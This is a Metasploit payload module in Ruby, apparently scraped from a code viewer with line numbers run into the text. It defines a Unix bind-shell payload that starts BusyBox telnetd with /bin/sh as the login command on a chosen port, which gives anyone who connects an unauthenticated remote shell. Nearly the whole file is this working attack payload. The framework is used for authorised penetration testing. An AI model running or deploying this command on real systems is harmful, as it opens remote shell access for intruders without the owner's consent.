Path: blob/master/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 2678include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Bind TCP (via BusyBox telnetd)',16'Description' => 'Listen for a connection and spawn a command shell via BusyBox telnetd',17'Author' => 'Matthew Kienow <matthew_kienow[AT]rapid7.com>',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::BindTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'telnetd',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)3132register_options(33[34OptString.new('LOGIN_CMD', [true, 'Command telnetd will execute on connect', '/bin/sh']),35]36)3738register_advanced_options(39[40OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'pkill telnetd']),41OptString.new('TelnetdPath', [true, 'The path to the telnetd executable', 'telnetd'])42]43)44end4546#47# Constructs the payload48#49def generate(_opts = {})50vprint_good(command_string)51return super + command_string52end5354#55# Returns the command string to use for execution56#57def command_string58"#{datastore['TelnetdPath']} -l #{datastore['LOGIN_CMD']} -p #{datastore['LPORT']}"59end60end616263